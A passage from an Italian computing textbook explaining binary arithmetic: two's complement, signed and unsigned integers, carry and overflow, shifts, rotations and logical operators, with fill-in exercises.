Quando si fa riferimento a numeri in base due, il complemento alla base è più noto come «complemento a due» (che evidentemente è la stessa cosa). D'altro canto, il complemento a uno è ciò che è già stato descritto con l'esempio seguente, dove si ottiene a partire dal numero 0011001100_2:

$$\begin{array}{r} 1111111111_2 - \\ 0011001100_2 = \\ \hline 1100110011_2 \end{array}$$

Si comprende intuitivamente che il complemento a uno si ottiene semplicemente invertendo le cifre binarie:

$$0011001100_2 \downarrow 1100110011_2$$

Pertanto, il complemento a due di un numero binario si ottiene facilmente invertendo le cifre del numero di partenza e aggiungendo una unità al risultato.

91.4.2.1 Esercizio

Si determini il complemento a uno e il complemento a due del valore 0011001001000101_2, compilando gli schemi successivi:

																2
																2

91.4.2.2 Esercizio

Si determini il complemento a uno e il complemento a due del valore 1111001100010101_2, compilando gli schemi successivi:

																2
																2

91.4.3 Addizione binaria

L'addizione binaria avviene in modo analogo a quella del sistema decimale, con la differenza che si utilizzano soltanto due cifre numeriche: 0 e 1. Pertanto, si possono presentare solo i casi seguenti:

$$0_2 + 0_2 = 0_2$$
$$0_2 + 1_2 = 1_2$$
$$1_2 + 0_2 = 1_2$$
$$1_2 + 1_2 = 10_2 \quad \text{ovvero: zero con riporto di uno}$$

Segue l'esempio di una somma tra due numeri in base due:

$$\begin{array}{rl} 10011001_2 + & (153_{10}) \\ 00110011_2 = & (51_{10}) \\ \hline 11001100_2 & (204_{10}) \end{array}$$

91.4.4 Sottrazione binaria

La sottrazione binaria può essere eseguita nello stesso modo di quella che si utilizza nel sistema decimale. Come avviene nel sistema decimale, quando una cifra del minuendo (il numero di partenza) è minore della cifra corrispondente nel sottraendo (il numero da sottrarre), si prende a prestito una unità dalla cifra precedente (a sinistra), che così si somma al minuendo con il valore della base di numerazione. L'esempio seguente mostra una sottrazione con due numeri binari:

$$\begin{array}{rl} 10011001_2 - & (153_{10}) \\ 00110011_2 = & (51_{10}) \\ \hline 01100110_2 & (102_{10}) \end{array}$$

Generalmente, la sottrazione binaria viene eseguita sommando il complemento alla base del sottraendo. Il complemento alla base di 00110011_2 con otto cifre è 11001101_2:

$$\begin{array}{rl} 100000000_2 & - \\ 00110011_2 & = \\ \hline 11001101_2 & \end{array}$$

Pertanto, la sottrazione originale diventa una somma, dove si trascura il riporto:

$$\begin{array}{rl} 10011001_2 + & (153_{10}) \\ 11001101_2 = & \\ \hline 101100110_2 - & \\ 100000000_2 = & \\ \hline 01100110_2 & (102_{10}) \end{array}$$

91.4.5 Moltiplicazione binaria

La moltiplicazione binaria si esegue in modo analogo a quella per il sistema decimale, con il vantaggio che è sufficiente sommare il moltiplicando, facendolo scorrere verso sinistra, in base al valore del moltiplicatore. Naturalmente, lo spostamento di un valore binario verso sinistra di n posizioni, corrisponde a moltiplicarlo per 2^n. Si osservi l'esempio seguente dove si moltiplica 10011001_2 per 1011_2:

$$
\begin{array}{rcr}
10011001_2 & \times & (153_{10}) \\
1011_2 & = & (11_{10}) \\
\hline
10011001_2 & + & \\
10011001_{2} & + & \\
00000000_{2} & + & \\
10011001_{2} & = & \\
\hline
11010010011_2 & & (1683_{10})
\end{array}
$$

91.4.6 Divisione binaria

La divisione binaria si esegue in modo analogo al procedimento per i valori in base dieci. Si osservi l'esempio seguente, dove si divide il numero 10110_2 (22_{10}) per 100_2 (4_{10}):

$$
\begin{array}{l}
10110_2 : 100_2 = 101{,}1_2 \\
100_2 \\
\hline
0110_2 \\
000_2 \\
\hline
110_2 \\
100_2 \\
\hline
10_2 \\
100_2 \\
\hline
0_2
\end{array}
$$

In questo caso il risultato è 101_2 (5_{10}), con il resto di 10_2 (2_{10}); ovvero $101{,}1_2$ ($5{,}5_{10}$).

Intuitivamente si comprende che: si prende il divisore, senza zeri anteriori, lo si fa scorrere a sinistra in modo da trovarsi allineato inizialmente con il dividendo; se la sottrazione può avere luogo, si scrive la cifra 1_2 nel risultato; si continua con gli scorrimenti e le sottrazioni; al termine, il valore residuo è il resto della divisione intera.

91.4.7 Rappresentazione binaria di numeri interi senza segno

La rappresentazione di un valore intero senza segno coincide normalmente con il valore binario contenuto nella variabile gestita dall'elaboratore. Pertanto, una variabile della dimensione di 8 bit, può rappresentare valori da zero a 2^8-1:

00000000_2 (0_{10})
00000001_2 (1_{10})
00000010_2 (2_{10})
...
11111110_2 (254_{10})
11111111_2 (255_{10})

91.4.8 Rappresentazione binaria di numeri interi con segno

Attualmente, per rappresentare valori interi con segno (positivo o negativo), si utilizza il metodo del complemento alla base, ovvero del complemento a due, dove il primo bit indica sempre il segno. Attraverso questo metodo, per cambiare di segno a un valore è sufficiente calcolarne il complemento a due.

Per esempio, se si prende un valore positivo rappresentato in otto cifre binarie come 00010100_2, pari a $+20_{10}$, il complemento a due è: 11101100_2, pari a -20_{10} secondo questa convenzione. Per trasformare il valore negativo nel valore positivo corrispondente, basta calcolare nuovamente il complemento a due: da 11101100_2 si ottiene ancora 00010100_2 che è il valore positivo originario.

Con il complemento a due, disponendo di ***n*** cifre binarie, si possono rappresentare valori da $-2^{(n-1)}$ a $+2^{(n-1)}-1$ ed esiste un solo modo per rappresentare lo zero: quando tutte le cifre binarie sono pari a zero. Infatti, rimanendo nell'ipotesi di otto cifre binarie, il complemento a uno di 00000000_2 è 11111111_2, ma aggiungendo una unità per ottenere il complemento a due si ottiene di nuovo 00000000_2, perdendo il riporto.

Si osservi che il valore negativo più grande rappresentabile non può essere trasformato in un valore positivo corrispondente, perché si creerebbe un traboccamento. Per esempio, utilizzando sempre otto bit (segno incluso), il valore minimo che possa essere rappresentato è 1000000_2, pari a -128_{10}, ma se si calcola il complemento a due, si ottiene di nuovo lo stesso valore binario, che però non è valido. Infatti, il valore positivo massimo che si possa rappresentare in questo caso è solo $+127_{10}$.

Figura 91.80. Confronto tra due valori interi con segno.

```
0 0 0 1 1 0 0 1   (+25 in base dieci)

1 1 1 0 0 1 1 1   (−25 in base dieci)
↑
bit di segno
```

Figura 91.81. Valori massimi rappresentabili con soli otto bit.

```
0 1 1 1 1 1 1 1   (+127 in base dieci)

1 0 0 0 0 0 0 0   (−128 in base dieci)
↑
bit di segno
```

Il meccanismo del complemento a due ha il vantaggio di trasformare la sottrazione in una semplice somma algebrica.

91.4.8.1 Esercizio

Come si rappresenta il numero $+103_{10}$, in una variabile binaria, a sedici cifre con segno?

segno

$________________{}_2$

91.4.8.2 Esercizio

Come si rappresenta il numero -103_{10}, in una variabile binaria, a sedici cifre con segno?

segno

$________________{}_2$

91.4.8.3 Esercizio

Data una variabile a sedici cifre che rappresenta un numero con segno, contenente il valore 1111111111110001_2, si calcoli il complemento a due e poi il valore corrispondente in base dieci, specificando il segno:

segno

$________________{}_2$

$\pm__________{}_{10}$

91.4.8.4 Esercizio

Data una variabile a sedici cifre che rappresenta un numero con segno, contenente il valore 0000000000110001_2, si calcoli il valore corrispondente in base dieci:

$+__________{}_{10}$

Si calcoli quindi il complemento a due:

segno

$________________{}_2$

Supponendo di interpretare il valore binario ottenuto dal complemento a due, come se si trattasse di un'informazione priva di segno, si calcoli nuovamente il valore corrispondente in base dieci:

$__________{}_{10}$

91.4.8.5 Esercizio

Data una variabile a dodici cifre binarie che rappresenta un numero con segno, leggendo il suo contenuto come se fosse una variabile priva di segno, si potrebbe determinare quel segno originale in base al valore che si ottiene. Si scrivano gli intervalli che riguardano valori positivi e valori negativi:

Intervallo che rappresenta valori positivi	Intervallo che rappresenta valori negativi

91.4.8.6 Esercizio

Data una variabile a sedici cifre binarie che rappresenta un numero con segno, leggendo il suo contenuto come se fosse una variabile priva di segno, si potrebbe determinare quel segno originale in base al valore che si ottiene. Si scrivano gli intervalli che riguardano valori positivi e valori negativi:

Intervallo che rappresenta valori positivi	Intervallo che rappresenta valori negativi

91.4.9 Cenni alla rappresentazione binaria di numeri in virgola mobile

Una forma diffusa per rappresentare dei valori molto grandi, consiste nell'indicare un numero con dei decimali moltiplicato per un valore costante elevato a un esponente intero. Per esempio, per rappresentare il numero 123000000 si potrebbe scrivere $123 \cdot 10^6$, oppure anche $0{,}123 \cdot 10^9$. Lo stesso ragionamento vale anche per valori molti piccoli; per esempio 0,000000123 che si potrebbe esprimere come $0{,}123 \cdot 10^{-6}$.

Per usare una notazione uniforme, si può convenire di indicare il numero che appare prima della moltiplicazione per la costante elevata a una certa potenza come un valore che più si avvicina all'unità, essendo minore o al massimo uguale a uno. Pertanto, per gli esempi già mostrati, si tratterebbe sempre di $0{,}123 \cdot 10^n$.

Per rappresentare valori a ***virgola mobile*** in modo binario, si usa un sistema simile, dove i bit a disposizione della variabile vengono suddivisi in tre parti: segno, esponente (di una base prestabilita) e mantissa, come nell'esempio che appare nella figura successiva.[1]

Figura 91.91. Ipotesi di una variabile a 16 bit per rappresentare dei numeri a virgola mobile.

Nella figura si ipotizza la gestione di una variabile a 16 bit per la rappresentazione di valori a virgola mobile. Come si vede dallo schema, il bit più significativo della variabile viene utilizzato per rappresentare il segno del numero; i sette bit successivi si usano per indicare l'esponente (con segno) e gli otto bit finali per la mantissa (senza segno perché indicato nel primo bit), ovvero il valore da moltiplicare per una certa costante elevata all'esponente.

Quello che manca da decidere è come deve essere interpretato il numero della mantissa e qual è il valore della costante da elevare all'esponente indicato. Sempre a titolo di esempio, si conviene che il valore indicato nella mantissa esprima precisamente «0,***mantissa***» e che la costante da elevare all'esponente indicato sia 16 (ovvero 2^4), che si traduce in pratica nello spostamento della virgola di quattro cifre binarie alla volta.[2]

Figura 91.92. Esempio di rappresentazione del numero 0,051513671875 ($211 \cdot 16^{-3}$), secondo le convenzioni stabilite. Si osservi che il valore dell'esponente è negativo ed è così rappresentato come complemento alla base (due) del valore assoluto relativo.

0	1 1 1 1 1 0 1	1 1 0 1 0 0 1 1

$$+211 \cdot 16^{-3}$$

$$0{,}00000000000011010011$$

Naturalmente, le convenzioni possono essere cambiate: per esempio il segno lo si può incorporare nella mantissa; si può rappresentare l'esponente attraverso un numero al quale deve essere sottratta una costante fissa; si può stabilire un valore diverso della costante da elevare all'esponente; si possono distribuire diversamente gli spazi assegnati all'esponente e alla mantissa.

91.5 Calcoli con i valori binari rappresentati nella forma usata negli elaboratori

Una volta chiarito il modo in cui si rappresentano comunemente i valori numerici elaborati da un microprocessore, in particolare per ciò che riguarda i valori negativi con il complemento a due, occorre conoscere in che modo si trattano o si possono trattare questi dati (indipendentemente dall'ordine dei byte usato).

91.5.1 Modifica della quantità di cifre di un numero binario intero

Un numero intero senza segno, espresso con una certa quantità di cifre, può essere trasformato in una quantità di cifre maggiore, aggiungendo degli zeri nella parte più significativa. Per esempio, il numero 0101_2 può essere trasformato in 00000101_2 senza cambiarne il valore. Nello stesso modo, si può fare una copia di un valore in un contenitore più piccolo, perdendo le cifre più significative, purché queste siano a zero, altrimenti il valore risultante sarebbe alterato.

Quando si ha a che fare con valori interi con segno, nel caso di valori positivi, l'estensione e la riduzione funzionano come per i valori senza segno, con la differenza che nella riduzione di cifre, la prima deve ancora rappresentare un segno positivo. Se invece si ha a che fare con valori negativi, l'aumento di cifre richiede l'aggiunta di cifre a uno nella parte più significativa, mentre la riduzione comporta l'eliminazione di cifre a uno nella parte più significativa, con il vincolo di mantenere inalterato il segno.

Figura 91.93. Aumento e riduzione delle cifre di un numero intero senza segno.

```
        1 0 1 1       0 0 0 0 1 0 1 1
        ↓ ↓ ↓ ↓               ↓ ↓ ↓ ↓
0 0 0 0 1 0 1 1               1 0 1 1
```

Figura 91.94. Aumento e riduzione delle cifre di un numero intero positivo.

```
segno
        0 0 1 1       0 0 0 0 0 0 1 1
        ↓ ↓ ↓ ↓               ↓ ↓ ↓ ↓
0 0 0 0 0 0 1 1               0 0 1 1
                      segno
```

Figura 91.95. Aumento e riduzione delle cifre di un numero intero negativo.

```
segno
        1 1 0 1       1 1 1 1 1 1 0 1
        ↓ ↓ ↓ ↓               ↓ ↓ ↓ ↓
1 1 1 1 1 1 0 1               1 1 0 1
                      segno
```

91.5.1.1 Esercizio

Una variabile a otto cifre binarie, conviene un valore con segno, pari a 11100011_2. Questo valore viene copiato in una variabile a sedici cifre con segno. Indicare il valore che deve apparire nella variabile di destinazione.

segno

$_2$

91.5.1.2 Esercizio

Una variabile a sedici cifre binarie, contiene un valore con segno, pari a 0000111110001111_2. Questo valore viene copiato in una variabile a otto cifre con segno. Il risultato della copia è valido? Perché?

Il valore originale della variabile a sedici cifre con segno è pari a:

± | | | | | | | | | | | $_{10}$

Il valore contenuto nella variabile a otto cifre con segno, potrebbe essere pari a:

± | | | | | | | | | | | $_{10}$

91.5.1.3 Esercizio

Una variabile a otto cifre binarie, contiene un valore con segno, pari a 11100011_2. Questo valore viene copiato in una variabile a sedici cifre senza segno, ignorando il fatto che la variabile originale abbia un segno. Indicare il valore che appare nella variabile di destinazione dopo la copia.

																2

Se successivamente si volesse considerare la variabile a sedici cifre usata per la destinazione della copia, come se fosse una variabile con segno, il valore che vi si potrebbe leggere al suo interno risulterebbe uguale a quello della variabile di origine?

91.5.2 Sommatorie con i valori interi con segno

Vengono proposti alcuni esempi che servono a dimostrare le situazioni che si presentano quando si sommano valori con segno, ricordando che i valori negativi sono rappresentati come complemento alla base del valore assoluto corrispondente.

Figura 91.100. Somma di due valori positivi che genera un risultato valido.

```
0 0 0 0 1 0 1 1     (+ 11) +
0 0 0 0 1 1 0 0     (+ 12) =
---------------     --------
0 0 0 1 0 1 1 1     (+ 23)
^
bit di segno
```

Figura 91.101. Somma di due valori positivi, dove il risultato apparentemente negativo indica la presenza di un traboccamento.

```
bit di segno
|
v
0 1 0 0 1 0 1 1     (+  75) +
0 1 0 0 1 1 0 0     (+  76) =
---------------     ---------
1 0 0 1 0 1 1 1     (+ 151)
|
v
traboccamento (overflow)
```

Figura 91.102. Somma di un valore positivo e di un valore negativo: il risultato è sempre valido.

```
 0 0 0 0 1 0 1 1      (+ 11) +
 1 1 1 1 0 1 0 0      (- 12) =
 ---------------      --------
 1 1 1 1 1 1 1 1      (-  1)
 ^
 bit di segno
```

Figura 91.103. Somma di un valore positivo e di un valore negativo: in tal caso il risultato è sempre valido e se si manifesta un riporto, come in questo caso, va ignorato semplicemente.

```
      0 1 0 0 1 0 1 1      (+ 75) +
      1 1 1 1 0 1 0 0      (- 12) =
      ---------------      --------
    1 0 0 1 1 1 1 1 1      (+ 63)
riporto da  ^
ignorare    bit di segno
```

Figura 91.104. Somma di due valori negativi che produce un segno coerente e un riporto da ignorare.

```
      1 1 0 0 1 0 1 1      (- 53) +
      1 1 1 1 0 1 0 0      (- 12) =
      ---------------      --------
    1 1 0 1 1 1 1 1 1      (- 65)
riporto da  ^
ignorare    bit di segno
```

Figura 91.105. Somma di due valori negativi che genera un traboccamento, evidenziato da un risultato con un segno incoerente.

```
      bit di segno
      v
      1 0 0 0 1 0 1 1      (- 117) +
      1 1 1 1 0 1 0 0      (-  12) =
      ---------------      ---------
    1 0 1 1 1 1 1 1 1      (- 129)
riporto da  ^
ignorare    traboccamento
```

Dagli esempi mostrati si comprende facilmente che la somma di due valori con segno va fat-

ta ignorando il riporto, perché quello che conta è che il segno risultante sia coerente: se si sommano due valori positivi, perché il risultato sia valido deve essere positivo; se si somma un valore positivo con uno negativo il risultato è sempre valido; se si sommano due valori negativi, perché il risultato sia valido deve rimanere negativo.

91.5.2.1 Esercizio

Si esegua la somma tra due valori binari a otto cifre con segno, indicando anche il riporto eventuale: $01010101_2 + 01111110_2$.

riporto	segno							
								$_2$

Il risultato della somma è valido?

91.5.2.2 Esercizio

Si esegua la somma tra due valori binari a otto cifre con segno, indicando anche il riporto eventuale: $11010101_2 + 01111110_2$.

riporto	segno							
								$_2$

Il risultato della somma è valido?

91.5.2.3 Esercizio

Si esegua la somma tra due valori binari a otto cifre con segno, indicando anche il riporto eventuale: $11010101_2 + 10000001_2$.

riporto	segno							
								$_2$

Il risultato della somma è valido?

91.5.3 Somme e sottrazioni con i valori interi senza segno

La somma di due numeri interi senza segno avviene normalmente, senza dare un valore particolare al bit più significativo, pertanto, se si genera un riporto, il risultato non è valido (salva la possibilità di considerarlo assieme al riporto). Se invece si vuole eseguire una sottrazione, il valore da sottrarre va «invertito», con il complemento a due, ma sempre evitando di dare un significato particolare al bit più significativo. Il valore «normale» e quello «invertito» vanno sommati come al solito, ma **se il risultato non genera un riporto**, allora **è sbagliato**, in quanto il sottraendo è più grande del minuendo.

Per comprendere come funziona la sottrazione, si consideri di volere eseguire un'operazione molto semplice: $1-1$. Il minuendo (il primo valore) sia espresso come 00000001_2; il sottraendo (il secondo valore) che sarebbe uguale, va trasformato attraverso il complemento a due, diventando così pari a 11111111_2. A questo punto si sommano algebricamente i due valori e si

ottiene 00000000_2 con riporto di uno. Il riporto di uno dà la garanzia che il risultato è corretto. Volendo provare a sottrarre un valore più grande, si vede che il riporto non viene ottenuto: 1−2. In questo caso il minuendo si esprime come nell'esempio precedente, mentre il sottraendo è 00000010_2 che si trasforma nel complemento a due 11111110_2. Se si sommano i due valori si ottiene semplicemente 11111111_2, senza riporto, ma questo valore che va inteso senza segno è evidentemente errato.

Figura 91.109. Sottrazione tra due numeri interi senza segno, dove il sottraendo ha un valore assoluto minore di quello del minuendo: la presenza del riporto conferma la validità del risultato.

Figura 91.110. Sottrazione tra due numeri interi senza segno, dove il sottraendo ha un valore assoluto maggiore di quello del minuendo: l'assenza di un riporto indica un risultato errato della sottrazione.

Sulla base della spiegazione data, c'è però un problema, dovuto al fatto che il complemento a due di un valore a zero dà sempre zero: se si fa la sottrazione con il complemento, il risultato è comunque corretto, ma non si ottiene un riporto.

Figura 91.111. Sottrazione con sottraendo a zero: non si ottiene riporto, ma il risultato è corretto ugualmente.

Per correggere questo problema, il complemento a due del numero da sottrarre, va eseguito in due fasi: prima si calcola il complemento a uno, poi si somma il minuendo al sottraendo

complementato, aggiungendo una unità ulteriore. Le figure successive ripetono gli esempi già mostrati, attuando questo procedimento differente.

Figura 91.112. Il complemento a due viene calcolato in due fasi: prima si calcola il complemento a uno, poi si sommano il minuendo e il sottraendo invertito, più una unità.

```
                                           1 +
0 0 1 1 -                            0 0 1 1 +
0 0 1 1 =   complemento a uno  -->    1 1 0 0 =
---------                           ----------
0 0 0 0                            [1]0 0 0 0
                                       \_____/
                                       risultato
il riporto conferma la validità del risultato
     naturalmente il riporto viene ignorato

                                           1 +
0 0 1 1 -                            0 0 1 1 +
0 1 0 0 =   complemento a uno  -->    1 0 1 1 =
---------                           ----------
-0 0 0 1                           [0]1 1 1 1
                                       \_____/
                                       risultato
la mancanza del riporto indica          errato
un risultato errato               (perché considerato
                                      senza segno)
```

Figura 91.114. Sottrazione con sottraendo a zero: calcolando il complemento a due attraverso il complemento a uno, si ottiene un riporto coerente.

```
                                           1 +
0 0 1 1 -                            0 0 1 1 +
0 0 0 0 =   complemento a uno  -->    1 1 1 1 =
---------                           ----------
-0 0 1 1                           [1]0 0 1 1
                                       \_____/
                                       risultato
il riporto conferma la validità         corretto
del risultato
naturalmente il riporto viene ignorato
```

91.5.3.1 Esercizio

Si esegua la somma tra due valori binari a otto cifre senza segno, indicando anche il riporto eventuale: $11010101_2 + 01110110_2$.

riporto

$_2$

Il risultato della somma è valido?

91.5.3.2 Esercizio

Si esegua la somma tra due valori binari a otto cifre senza segno, indicando anche il riporto eventuale: $11010101_2 + 11110110_2$.

riporto

									$_2$

Il risultato della somma è valido?

91.5.3.3 Esercizio

Si esegua la sottrazione tra due valori binari a otto cifre senza segno, indicando anche il riporto eventuale: $11010101_2 - 11110110_2$.

riporto

									$_2$

Il risultato della somma è valido?

91.5.3.4 Esercizio

Si esegua la sottrazione tra due valori binari a otto cifre senza segno, indicando anche il riporto eventuale: $11010101_2 - 00001111_2$.

riporto

									$_2$

Il risultato della sottrazione è valido?

91.5.4 Somme e sottrazioni in fasi successive

Quando si possono eseguire somme e sottrazioni solo con una quantità limitata di cifre, mentre si vuole eseguire un calcolo con numeri più grandi della capacità consentita, si possono suddividere le operazioni in diverse fasi. La somma tra due numeri interi è molto semplice, perché ci si limita a tenere conto del riporto ottenuto nelle fasi precedenti. Per esempio, dovendo sommare $0101\ 1010\ 1100_2$ a $1000\ 0101\ 0111_2$ e potendo operare solo a gruppi di quattro bit per volta: si parte dal primo gruppo di bit meno significativo, 1100_2 e 0111_2, si sommano i due valori e si ottiene 0011_2 con riporto di uno; si prosegue sommando 1010_2 con 0101_2 aggiungendo il riporto e ottenendo 0000_2 con riporto di uno; si conclude sommando 0101_2 e 1000_2, aggiungendo il riporto della somma precedente e si ottiene così 1110_2. Quindi, il risultato è $1110\ 0000\ 0011_2$.

Figura 91.119. Somma per fasi successive, tenendo conto del riporto.

```
                     1          1
010110101100 +    0101 +    1010 +    1100 +
100001010111 =    1000 =    0101 =    0111 =
111000000011      1110     10000     10011
                 riporto
```

Nella sottrazione tra numeri senza segno, il sottraendo va trasformato secondo il complemento a due, quindi si esegue la somma e si considera che ci deve essere un riporto, altrimenti significa che il sottraendo è maggiore del minuendo. Quando si deve eseguire la sottrazione a gruppi di cifre più piccoli di quelli che richiede il valore per essere rappresentato, si può procedere in modo simile a quello che si usa con la somma, con la differenza che «l'assenza del riporto» indica la richiesta di prendere a prestito una cifra.

Per comprendere il procedimento è meglio partire da un esempio. In questo caso si utilizzano i valori già visti, ma invece di sommarli si vuole eseguire la sottrazione. Per la precisione, si intende prendere $1000\,0101\,0111_2$ come minuendo e $0101\,1010\,1100_2$ come sottraendo. Anche in questo caso si suppone di poter eseguire le operazioni solo a gruppi di quattro bit. Si esegue il complemento a due dei tre gruppetti di quattro bit del sottraendo, in modo indipendente, ottenendo: 1011_2, 0110_2, 0100_2. A questo punto si eseguono le somme, a partire dal gruppo meno significativo. La prima somma, $0111_2 + 0100_2$, dà 1011_2, senza riporto, pertanto occorre prendere a prestito una cifra dal gruppo successivo: ciò significa che va eseguita la somma del gruppo successivo, sottraendo una unità dal risultato: $0101_2 + 0110_2 - 0001_2 = 1010_2$. Anche per il secondo gruppo non si ottiene il riporto della somma, così, anche dal terzo gruppo di bit occorre prendere a prestito una cifra: $1000_2 + 1011_2 - 0001_2 = 0010_2$. L'ultima volta la somma genera il riporto (da ignorare) che conferma la correttezza del risultato complessivo, ovvero che la sottrazione è avvenuta con successo.

Va però ricordato il problema legato allo zero, il cui complemento a due dà sempre zero. Se si cambiano i valori dell'esempio, lasciando come minuendo quello precedente, $1000\,0101\,0111_2$, ma modificando il sottraendo in modo da avere le ultime quattro cifre a zero, $0101\,1010\,0000_2$, il procedimento descritto non funziona più. Infatti, il complemento a due di 0000_2 rimane 0000_2 e se si somma questo a 0111_2 si ottiene lo stesso valore, ma senza riporti. In questo caso, nonostante l'assenza del riporto, il gruppo dei quattro bit successivi, del sottraendo, va trasformato con il complemento a due, senza togliere l'unità che sarebbe prevista secondo l'esempio precedente. In pratica, per poter eseguire la sottrazione per fasi successive, occorre definire un concetto diverso: il prestito (*borrow*) che non deve scattare quando si sottrae un valore pari a zero.

Se il complemento a due viene ottenuto passando per il complemento a uno, con l'aggiunta di una cifra, si può spiegare in modo più semplice il procedimento della sottrazione per fasi successive: invece di calcolare il complemento a due dei vari tronconi, si calcola semplicemente il complemento a uno e al gruppo meno significativo si aggiunge una unità per ottenere lì l'equivalente di un complemento a due. Successivamente, il riporto delle somme eseguite va aggiunto al gruppo adiacente più significativo, come si farebbe con la somma: se la sottrazione del gruppo precedente non ha bisogno del prestito di una cifra, si ottiene l'aggiunta una unità al gruppo successivo.

Figura 91.120. Sottrazione per fasi successive, tenendo conto del prestito delle cifre.

Figura 91.121. Verifica del procedimento anche in presenza di un sottraendo a zero.

La sottrazione per fasi successive funziona anche con valori che, complessivamente, hanno un segno. L'unica differenza sta nel modo di valutare il risultato complessivo: l'ultimo gruppo di cifre a essere considerato (quello più significativo) è quello che contiene il segno ed è il segno del risultato che deve essere coerente, per stabilire se ciò che si è ottenuto è valido. Pertanto, nel caso di valori con segno, il riporto finale si ignora, esattamente come si fa quando la sottrazione avviene in una fase sola, mentre l'esistenza o meno del traboccamento deriva dal confronto della cifra più significativa: se la sottrazione, dopo la trasformazione in somma con il complemento, implica la somma valori con lo stesso segno, il risultato deve ancora avere quel segno, altrimenti c'è il traboccamento.

Se si volessero considerare gli ultimi due esempi come la sottrazione di valori con segno, il minuendo si intenderebbe un valore negativo, mentre il sottraendo sarebbe un valore positivo. Attraverso il complemento si passa alla somma di due valori negativi, ma dal momento che si ottiene un risultato con segno positivo, ciò manifesta un traboccamento, ovvero un risultato errato, perché non contenibile nello spazio disponibile.

91.6 Scorrimenti, rotazioni, operazioni logiche

Le operazioni più semplici che si possono compiere con un microprocessore sono quelle che riguardano la logica booleana e lo scorrimento dei bit. Proprio per la loro semplicità è importante conoscere alcune applicazioni interessanti di questi procedimenti elaborativi.

91.6.1 Scorrimento logico

Lo scorrimento «logico» consiste nel fare scalare le cifre di un numero binario, verso sinistra (verso la parte più significativa) o verso destra (verso la parte meno significativa). Nell'eseguire questo scorrimento, da un lato si perde una cifra, mentre dall'altro si acquista uno zero.

Figura 91.122. Scorrimento logico a sinistra, perdendo le cifre più significative e scorrimento logico a destra, perdendo le cifre meno significative.

Lo scorrimento di una posizione verso sinistra corrisponde alla moltiplicazione del valore per due, mentre lo scorrimento a destra corrisponde a una divisione intera per due; scorrimenti di ***n*** posizioni rappresentano moltiplicazioni e divisioni per 2^n. Le cifre che si perdono nello scorrimento a sinistra si possono considerare come il riporto della moltiplicazione, mentre le cifre che si perdono nello scorrimento a destra sono il resto della divisione.

91.6.1.1 Esercizio

Si esegua lo scorrimento logico a sinistra (di una sola cifra) del valore 11010101_2.

$_2$

91.6.1.2 Esercizio

Si esegua lo scorrimento logico a destra (di una sola cifra) del valore 11010101_2.

$_2$

91.6.2 Scorrimento aritmetico

Il tipo di scorrimento descritto nella sezione precedente, se utilizzato per eseguire moltiplicazioni e divisioni, va bene solo per valori senza segno. Se si intende fare lo scorrimento di un valore con segno, occorre distinguere due casi: lo scorrimento a sinistra è valido se il risultato non cambia di segno; lo scorrimento a destra implica il mantenimento del bit che rappresenta il segno e l'aggiunta di cifre uguali a quella che rappresenta il segno stesso.

Figura 91.125. Scorrimento aritmetico a sinistra e a destra, di un valore negativo.

1 1 0 1 1 0 1 1

scorrimento a sinistra

1 1 0 1 1 0 1 1 0

bit di segno

1 1 0 1 1 0 1 1

scorrimento a destra

1 1 1 0 1 1 0 1 1

bit di segno

91.6.2.1 Esercizio

Si esegua lo scorrimento aritmetico a sinistra (di una sola cifra) del valore con segno 01010101_2.

Il risultato dello scorrimento è valido?

91.6.2.2 Esercizio

Si esegua lo scorrimento aritmetico a destra (di una sola cifra) del valore con segno 01010101_2.

91.6.2.3 Esercizio

Si esegua lo scorrimento aritmetico a destra (di una sola cifra) del valore con segno 11010101_2.

91.6.3 Moltiplicazione

La moltiplicazione si ottiene attraverso diverse fasi di scorrimento e somma di un valore, dove però il risultato richiede un numero doppio di cifre rispetto a quelle usate per il moltiplicando e il moltiplicatore. Il procedimento di moltiplicazione deve avvenire sempre con valori senza segno. Se i valori si intendono con segno, quando sono negativi occorre farne prima il complemento a due, in modo da portarli a valori positivi, quindi occorre decidere se il risultato va preso così come viene o se va invertito a sua volta con il complemento a due: se i valori moltiplicati hanno segno diverso tra loro, il risultato deve essere trasformato con il complemento a due per renderlo negativo, altrimenti il risultato è sempre positivo.

Figura 91.129. Moltiplicazione.

moltiplicazione di valori senza segno

```
    1011×
    1101=
00001011+
00000000+
00101100+
01011000=
10001111
```

moltiplicazione di valori con segno diverso

```
    1011×  --complemento a due-->      0101×
    0111=                              0111=
11011101  <--complemento a due--   00000101+
                                   00001010+
                                   00010100+
                                   00000000=
                                   00100011
```

91.6.4 Divisione

La divisione si ottiene attraverso diverse fasi di scorrimento di un valore, che di volta in volta viene sottratto al dividendo, ma solo se la sottrazione è possibile effettivamente. Il procedimento di divisione deve avvenire sempre con valori senza segno. Se i valori si intendono con segno, quando sono negativi occorre farne prima il complemento a due, in modo da portarli a valori positivi, quindi occorre decidere se il risultato va preso così come viene o se va invertito a sua volta con il complemento a due: se dividendo e divisore hanno segni diversi tra loro, il risultato deve essere trasformato con il complemento a due per renderlo negativo, altrimenti il risultato è sempre positivo.

Figura 91.130. Divisione: i valori sono intesi senza segno.

```
11011101 ÷ 0110 = 00100100
11000000
00011101
00000000
00011101
00000000
00011101
00011000
00000101
00000000
00000101
00000000
00000101  resto della divisione intera
```

221 : 6 = 36
con il resto di 5

91.6.5 Rotazione

La rotazione è uno scorrimento dove le cifre che si perdono da una parte rientrano dall'altra. Esistono due tipi di rotazione; uno «normale» e l'altro che include nella rotazione il bit del riporto. Dal momento che la rotazione non si presta per i calcoli matematici, di solito non viene considerato il segno.

Figura 91.131. Rotazione normale.

```
            11011011          11011011
rotazione                                rotazione
a sinistra                               a destra
            10110111          11101101
```

Figura 91.132. Rotazione con riporto.

```
            0 11011011        0 11011011
rotazione                                  rotazione
a sinistra                                 a destra
con riporto                                con riporto
            1 10110110        1 01101101

       riporto            riporto
```

91.6.6 Operatori logici

Gli operatori logici si possono applicare anche a valori composti da più cifre binarie.

Figura 91.133. AND e OR.

```
11011011  a           11011011  a
01101101  b           01101101  b
--------              --------
01001001  a AND b     11111111  a OR b
```

Figura 91.134. XOR e NOT.

```
11011011  a           11011011  a
01101101  b
--------              --------
10110110  a XOR b     00100100  NOT a
```

È importante osservare che l'operatore NOT esegue in pratica il complemento a uno di un valore.

Capita spesso di trovare in un sorgente scritto in un linguaggio assemblatore un'istruzione che assegna a un registro il risultato dell'operatore XOR su se stesso. Ciò si fa, evidentemente, per azzerarne il contenuto, quando, probabilmente, l'assegnamento esplicito di un valore a un registro richiede una frazione di tempo maggiore per la sua esecuzione.

Figura 91.135. XOR per azzerare i valori.

$$
\begin{array}{ll}
